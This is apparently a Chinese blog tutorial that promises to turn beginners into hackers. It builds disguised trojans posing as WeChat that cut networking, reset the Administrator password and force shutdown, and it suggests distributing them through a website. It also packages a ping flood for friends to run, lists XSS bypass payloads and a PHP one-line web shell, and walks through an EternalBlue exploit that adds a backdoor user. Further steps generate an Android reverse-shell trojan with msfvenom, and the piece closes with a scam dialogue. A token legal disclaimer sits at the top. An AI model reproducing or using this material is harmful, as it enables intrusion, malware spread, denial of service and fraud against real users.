本章所讲述的所有黑客技术,均不得用于非法目的。
如果你觉得文章含有侵权部分,可以联系CSDN私聊,我会适当修改。
未经允许,不得转载,如需转载,请CSDN私聊。
每当我们坐在电视机面前,看着电视中,黑客戴着黑色的帽子,手指在键盘上快速的敲击,电脑屏幕上快速的闪过英文字符,我们都会觉得——哇!这个人好厉害!我也好想成为这样子。
黑客通过一系列的手段,破解密码,篡改网页,攻击网络,盗取文件,这一系列操作却让人们望而却步。因为:
但是,这篇文章,却可以让你做到!
可能你会想:我现在连电脑都不会用,怎么可能成为黑客?
本文提供详细的说明,你只要照着做就可以了,同时借助下列工具:
OK,如果你准备好了,请你继续阅读之后的内容。
好的,现在我们开始学习成为白帽子黑客!
首先,你要有一些基础的编程能力。我们使用Python编程语言。
编程语言就像我们说的语言一样,有各式各样的语言,例如Java, C, C++等语言,我们现在学习的是简单但功能强大的语言:Python。
当然,作为黑客,我们至少要学习2门语言,这个之后再说。
和正常软件一样,我们需要下载和安装。
访问网址:https://www.python.org/
点击Download,下载最新版本:Python3.8.5.
下载到本地了之后,我们就可以安装了。和正常软件一样,根据想到安装,最后,你会在Windows10菜单中发现这个文件夹:
打开IDLE:
IDLE虽然并不是非常好看,但是其中拥有了编写Python代码的能力,现在,我们输入这个内容:
print("Hello World!")
看看发生了什么:
你让电脑输出了Hello World!
如果你可以成功输出,那么跳过这一小节。
如果你遇到了问题,别着急。实不相瞒,我当年为了写个Hello World,用了一个礼拜,百度都被我用的…………。
常见的问题是:你的符号有没有用英文符号?
记住,所有的内容都需要用英文符号!
刚刚我们在电脑上安装了Python环境,并且让他输出了我们想要让他输出的内容。现在,我们需要搭建一个攻击对象!
我们需要学习的是攻击个人电脑,网站。所以我们需要自己搭建攻击环境。
搭建个人电脑,我们用到虚拟机。
首先我们下载一个镜像文件,我们打开MSDN我告诉你
然后我们看到这里,有一个操作系统,点开,然后我们可以选择我们要搭建的虚拟机的机型,然后复制ed2k链接,通过迅雷下载:
然后我们通过虚拟机软件搭建,可以通过百度学习,最后我们需要创建完成的虚拟机如下:
现在,我已经建立好了一个虚拟机了。并且已经安装好了相应的程序。
当时我安装虚拟机也是花了不少力气,如果你们遇到了问题,可以自己百度一下。
详见之前的文章。
我们刚刚已经完成了环境的搭建,现在我们正式开始学习。
首先我们需要了解相关术语,这些都是黑客逃不掉的。
ping,通常用于测试计算机的网络,用它,我们可以向一台计算机发送数据包。
我们打开Python,开始写代码:
import os os.system("ping www.baidu.com")
现在,我们向百度发送了数据包。当然,我们可以扫描一个IP地址:
import os os.system("ping 192.168.255.255")
但是,如果我们向一个指定的靶机发送大量的数据包,那么对方的计算机可能就会承受不了!
接下来,我们看一下如何实现。
首先我们创建一台Windows7计算机,然后我们需要拿到它的IP地址。
我们在电脑上打开CMD。打开方法就是同时按下电脑键盘上的WINDOWS按键和R按键,在弹出的输入框中输入CMD,回车。
然后我们输入ipconfig拿到ip地址:
192.168.255.254
我们回到主机,输入我们的Python代码:
import os print("攻击已经开始!按下Ctrl + C停止攻击") os.system("ping -t 192.168.255.254")
这样我们就能永远向这台计算机发送数据包了!
但是,仅凭一己之力还是很难成功,所以,我们需要其他好友的帮忙。
我们在终端输入:pyinstaller -F xxx.py
然后就会生成一个可执行文件,我们把它发送到你的好友,然后开始攻击。
当你的好友(>= 100)开始攻击的时候,我们可以刷一部电影。
刷完之后,你看看,差不多已经发送了大量的数据了。
如果你觉得太慢了,我们在加大数据包的大小:
import os print("攻击已经开始!按下Ctrl + C停止攻击") os.system("ping -t -l 60000 192.168.255.254")
然后,那台电脑估计就已经网络堵塞了。
Linux是黑客最喜欢使用的操作系统之一,而Kali更是受到各类黑客的喜爱!因为Kali不仅预安装了各种编程开发环境,而且几乎将所有黑客工具都集结于一台计算机(中国黑客工具除外)。
现在,我们需要安装一台Kali Linux虚拟机(详见上文)。
这就是一台黑客主机,你使用他,你就是黑客,正如此话所言:
Kali用得好,监狱蹲到老。
相信大家都知道木马和病毒。木马病毒的主要目的包括:
1.获取信息
2.偷取财务
3.夺取资料
4.证明实力
5.拿钱跑路
本人最初接触木马病毒是为了证明实力【哈】。
本章,我们不会教大家如何制作木马,今天我们只是制作木马病毒模块,例如关机,修改密码等。不过下文中,我还是成为病毒,毕竟这也是一种。
如果用户运行木马程序,就会断网,就这么简单。和原理一样简单。
在CMD中,断网使用的指令是:
NET STOP SERVICE
使用Python制作木马程序,可以用这个代码:
import os os.system("net stop service")
断网木马,通常只是一个恶作剧木马。
为了提高弹窗木马的真实性,我们将其伪装成一个程序,代码附上:
import tkinter.messagebox import tkinter root = tkinter.Tk() root.title("WeChat") root.geometry("300x300") tkinter.messagebox.showerror("错误", "程序打开错误!") root.destroy()
这是一个正常的程序,对电脑没有伤害,然后我们结合一个断网木马。
import os import tkinter.messagebox import tkinter os.system("net stop service") root = tkinter.Tk() root.title("WeChat") root.geometry("300x300") tkinter.messagebox.showerror("错误", "程序打开错误!") root.destroy()
然后,我们弹窗。
import os import tkinter.messagebox import tkinter os.system("net stop service") root = tkinter.Tk() root.title("WeChat") root.geometry("300x300") tkinter.messagebox.showerror("错误", "程序打开错误!") root.destroy() tkinter.messagebox.showerror("错误", "Windows防火墙意外关闭") tkinter.messagebox.showerror("错误", "Windows木马查杀工具意外关闭") tkinter.messagebox.showerror("广告", "Windows驻西安皮革厂倒闭了!") ……………………………………
这个病毒可以修改电脑密码!
首先,我们编写伪装程序:
import tkinter.messagebox import tkinter root = tkinter.Tk() root.title("WeChat") root.geometry("300x300") tkinter.messagebox.showerror("错误", "程序打开错误!") root.destroy()
然后,我们通过CMD指令修改Administrator密码:
import tkinter.messagebox import tkinter import os os.system("NET USER Administrator 123456") root = tkinter.Tk() root.title("WeChat") root.geometry("300x300") tkinter.messagebox.showerror("错误", "程序打开错误!") root.destroy()
修改好了密码,然后,我们断网:
import tkinter.messagebox import tkinter import os os.system("net stop service") os.system("NET USER Administrator 123456") root = tkinter.Tk() root.title("WeChat") root.geometry("300x300") tkinter.messagebox.showerror("错误", "程序打开错误!") root.destroy()
病毒正在提升威力!但是如果有人一直不关机怎么办?没关系!
立刻关机的CMD命令:
shutdown -s -t 0
如果设置的是一分钟后关机,那么:
shutdown -s -t 60
OK,通过这段代码,我们结合上面的代码,来开始制作!
import tkinter.messagebox import tkinter import os os.system("net stop service") os.system("NET USER Administrator 123456") root = tkinter.Tk() root.title("WeChat") root.geometry("300x300") tkinter.messagebox.showerror("错误", "程序打开错误!") root.destroy() os.system("shutdown -s -t 0")
我们通过一段段的学习,现在已经可以制作木马病毒了!
我们需要传播病毒,这样才会有人下载我们的木马。
利用凡客建站搭建一个网站散播病毒。
下载之后,木马病毒就会生效。
通过以上的学习,我们学习了怎么制作木马程序以及通过ping攻击网站。
然而中级篇,我们将学习很多高级的东西。
初级篇的东西太过简单,所以我们现在要学习更多强大的东西。
中级篇,我们要学习攻击一个网站,并且我们要学习木马的一个大的种类——远控木马。并且学习控制手机或计算机。然后我们要学习通过Windows漏洞攻击计算机,例如永恒之蓝等。
你,准备好了吗?
如果你准备好了,我们就开始吧!
学习攻击网站,我们就要学习一些攻击的要点。
寻找漏洞就是攻击网站最关键的地方。一个网站,肯定有漏洞,只不过就看开发者怎么处理这个漏洞。
这么来说吧,这个网站只要使用了数据库,一般都有被SQL注入的风险。这要看网站是怎么防护的。
SQL注入漏洞原理就是通过输入框输入的内容和SQL语句来拼接而成。
<?php ... $input = $_GET['input']; $get = "SELECT username From users WHERE username = '$input'"; ...
这个就是典型的PHP注入漏洞代码。
SQL注入漏洞一直是网络安全漏洞中的头等大敌,每个企业都在尽力避免。SQL注入漏洞最高的危险就是数据库内容被获取,个人隐私泄露。试想一下,如果一个上万人注册的网站被SQL注入,那么,这个网站不得赔死。
一般只要有输入框和SQL语句是拼接的,都是SQL注入可以尝试的注入点。那么一般的网站,都是非常大而且杂的,所以我们要尝试在一个复杂的网站上试图寻找注入点。
去百度上寻找一个网站去练手吧!但是千万不要去攻击。
其实,一个网站必须使用数据库,只要使用了数据库,就都有被攻击的风险。具体的防护方法有很多,其中最为常见的就是过滤。
过滤就是将用户输入的危险字符通过某种转义方式改为不危险字符。其中危险字符就包括:
select, delete, insert, update, or, where......
等等,但是之过滤这些字符还不够,攻击者可以通过大小写混写来绕过防护,所以,我们需要通过正则表达式来防护。
设置黑白名单也是有效的防护方法。通过检测用户的异常行为,并拒绝该IP地址向网站服务器发送请求。
例如一个网站,用户192.168.255.255向网站服务器发送请求,然后网站正常响应。但是用户192.168.255.255在输入框中连续输入危险字符超过一定次数,那么下次192.168.255.255再向网站发送请求的时候,黑名单已经记录了下来,然后请求被拒绝。
函数大体如下:
def defence(): global i #过滤函数 i = 0#计数器 ...... i += 1; if i > 5: #封禁操作
目前作者知道的主要是SQLmap以及啊D工具。这两个工具可以实现SQL注入。
曾经一度被OWASP列为最危险漏洞。XSS,跨站脚本攻击,本质上也是一种注入攻击。最容易受到XSS漏洞影响的大多数是一些实时通讯功能,例如留言板,在线聊天室。
为什么XSS漏洞如此受重视?因为它的危害程度不亚于SQL注入攻击。如果一个网站存在XSS漏洞,那么攻击者可以执行任意的Js代码。
$input = $_GET['input']; echo "$input";
最常见的测试指令,就是<script>alert(1)</script>。我们现在来看一下攻击案例。通过这个攻击案例来看一下XSS。
自己花了一点时间搭建了一个模拟某科技公司的官网。其中黑客容易攻击的地方主要有两处。分别是:
1.在线留言板:
这个点非常可能被攻击,重点考虑。
2.全站搜索
除了刚刚的留言板,这个是唯一的交互式输入框。虽说不打算考虑,但是我开发时没有任何过滤,所以也有注入风险。
留言板功能,我为了模拟真正的攻击,请了一个朋友帮我做了一个过滤,然后让我攻击。简单的尝试了一下。简单的尖括号,script,iframe,click等都过滤了,但是,好像唯独没有过滤img字符,这位老兄HTML没学好啊!尝试攻击,果然成功。
我问了一下他,还看了一下过滤代码,发现他是用的正则表达式,如果不用,那么以下的语句都是可以用的:
<scri<script>pt>alert(1)</script> <scrIpt>alert(1)</script> <script>alert(1)</SCript> ......
还有就是递归。当然,这里黑白名单也是可以用的。
其实,XSS漏洞的危害,取决于黑客的Js代码,如果一个不会编程的黑客,就算发现了XSS漏洞,那么最多弹框。
这就很难绕过了。
不过XSS Aditor是有办法绕过的,本人现在还在学习。
我目前并没有发现什么有用的黑客工具可以用来XSS,所以手工注入的能力很重要。
相信大家应该都知道枚举(又称穷举),那就是通过一个个试,最终得到结果,机器最适合干这个事了,所以,暴力破解漏洞由此诞生。
通过Python可以实现暴力破解,主要使用的是request模块,这个模块可以处理网站,当然也可以用来爬虫。
一般来说,暴力破解漏洞存在于登入界面或者密码界面,最简单的例子就是管理员后台,有登入密码,以及常见的如“您的文件已加密,请输入密码”或者“请输入密码查看”等,人们总是认为这种方式能够防止数据被偷窃,但是,有暴力破解。
几乎所有网站都是用上图的登入方式。
什么是弱密码呢?123456,888888,qwerty等都是弱密码,这些弱密码大多数都在黑客的密码字典中,所以,弱密码是最容易破解的。一般黑客的弱密码字典大多数在10-20MB,估算一下,大概有几百万个密码。
弱密码非常危险,所以,现在密码一定不要设置成弱密码。
行为验证码需要用户通过验证码,例如滑动图标,辨别图片等内容。有些大型的社交平台,如微博,有时候甚至需要两次行为验证。这对黑客暴力破解加大了难度。不过验证码也不一定安全,这就要看开发者怎么去开发了,有没有验证码失效制度。
我在互联网上找到了一个网站,所有的登入注册都需要验证。
注册(双重认证:行为认证和短信验证码):
账密登入:
短信登入(又是双重认证);
所谓的token,其实就是一个验证码,只不过验证码用户看不到,而是通过两端的token验证码进行比对,确认无误才能通过。
token放爆破机制其实也有绕过方式,同样是开发者的失效机制有没有开发好。
暴力破解就很多了。你们大可自己开发或寻找。
文件上传是现在很多网站都具备的功能,例如说头像上传,资料上传等。那么,如果一个网站具有上传文件的功能,攻击者是不是就可以上传木马呢?
事实证明,如果网站对文件上传的后缀名,内容没有做任何审核,那么木马是可以上传成功的。
最简单的木马,就是只通过一句PHP代码来实现,简称PHP一句话木马。
<?php eval(@$_POST['a']); ?>
最后通过中国菜刀拿到整个网站的框架。
开发者通过对文件上传内容进行文件后缀名检测。比如作者之前有做过一个文件上传漏洞检测,就可以通过对特定的后缀名进行勘察。
例如一个功能,是上传头像,那么用户肯定不会上传一个php文件上去,所以,我们就可以规定这类文件可以上传:
.jpg .png .gif .bmp
但是,这太天真了。对于黑客来说,改个后缀名岂不是简简单单?
于是,新的防护产品诞生了!
安全狗可以通过相关技术,挖掘文件内容,准确识别PHP一句话木马,网络木马等。但是,PHP有办法绕过一句话。
这个漏洞的条件比较苛刻,CSRF其实是通过一个恶意链接,有待用户点击,然后修改用户内容。
CSRF通常出现在忘记密码。攻击者构造好链接之后,就可以修改相关信息。这里不多做介绍。
了解了网站的常见漏洞之后,我们就可以找网站练手了。当然,如果我们挖到了漏洞,可以提交给SRC,这样还能挣钱!
这个漏洞相信大家都听说过。永恒之蓝,英语名eternalblue,是一个基于445端口的漏洞。通过这个漏洞,我们最高可以拿到Root权限。曾经轰动世界的想哭勒索病毒,就是通过永恒之蓝漏洞入侵的。
MSF可以攻击的版本:
Windows 7各版本 Windows Server 2008 R2 Windows 8及以上部分版本
目前,微软已经发布了该漏洞的补丁,用户可以通过下载安全补丁保护电脑。同时安装杀毒软件。
目前,作者亲测的可以防护445攻击的杀毒软件有:
360卫士,火绒,卡巴斯基,金山会员版。
其他的还没试,不过有几个我试过了,但是没有抵挡:
江民杀毒,2345安全卫士。
实验环境:
一台Kali攻击电脑。
一台开启445,关闭防火墙,无杀毒软件, 无补丁的Windows Server 2008 R2
MSF攻击的实现方法:
msfconsole 启动MSF search eterbalblue 查找相关模块 use exploit/windows/smb/ms17_010_eterbalblue 使用模块 set lhost 自己的ip set rhost 靶机的ip set rport 445 设置端口 exploit 开始攻击
然后就可以拿到目标靶机的CMD。
然后我们开用户
net user hacker 123456 /add
改密码
net user Administrator kafj
刚刚我们解除了MSF框架,现在我们通过MSF制作远控木马!让你能够控制安卓手机。
首先我们输入命令msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.0.0 LPORT=4444 R > /home/kali/Desktop/or.apk
这里的LHOST是你的Kali的IP。
输入命令:msfconsole来启动msfconsole
然后
1.use exploit/multi/handler //加载模块 2. set payload android/meterpreter/reverse_tcp //选择Payload 3、show options //查看参数设置 4.set LHOST 192.168.1.114 //这里的地址设置成我们刚才生成木马的IP地址 5.set LPORT 5555 //这里的端口设置成刚才我们生成木马所监听的端口 6.exploit //开始执行漏洞 开始监听,等待手机上线 7、手机打开安装的软件,
kali端监听结果:表示后门控制做好了。
这样,我们就控制了手机。
如果用MSF,那么其实是一样的。但是这里我们使用灰鸽子木马来实现。
由于作者极度懒惰,所以,这个就留为本章节的挑战吧!
什么是社会工程学呢?就是通过人性,从而进行攻击。
人是整个网络防护中最薄弱的一块,所以很多黑客就冲着这一点攻击。下main看一个案例
(前期:用户大白在某网站上注册了一个账号,然后有一天发现网站的提现功能失效了,于是就找到了伪装成工作人员的黑客)
大白:搞啥玩儿,这钱怎么提不出来了?
黑客:您先别急,我来看看。
(过了5min)
黑客:你好,你的账号好像出了点问题。
大白:啥子问题?
黑客:emmm,似乎被黑客入侵了,前几天也是有一个这样的用户。
大白(傻眼了):黑客入侵?那咋办呢?我可存了10W+米呢!
黑客:您先告诉我账号密码,然后我帮你看看是什么问题。
大白:用户名:DB19990512 密码是那么qweqwe
(过了3min)
黑客:手机已经被攻击,你看看能不能把身份证信息告诉我,我帮您看看联合实名认证能不能帮您解决
大白:31020419900512375X
黑客:不好意思,你的手机已经被黑客掌控。
大白:玩了,我的钱啊!
黑客:没关系,我可以帮你。
大白:你拿什么帮我?
黑客:你先付我5000块钱,然后我帮您申请一个“防黑加固”。虽然钱取不出来了,但是之后钱还是可以正常存的。
大白:我的钱都没有了,存个****,我看你***就是玩我。
黑客:已经被黑客偷走的钱是要不回来的,所以你现在只能这样了!
大白:好吧。
(黑客账号多了5000米)
黑客:好了,下次小心点。
大白:OK
通过上面的故事,黑客成功拿到了大白的身份证号码,以及账号密码的信息,还多挣了5000块。这就是社会工程学的威力。
本章到此结束!
79736 篇文章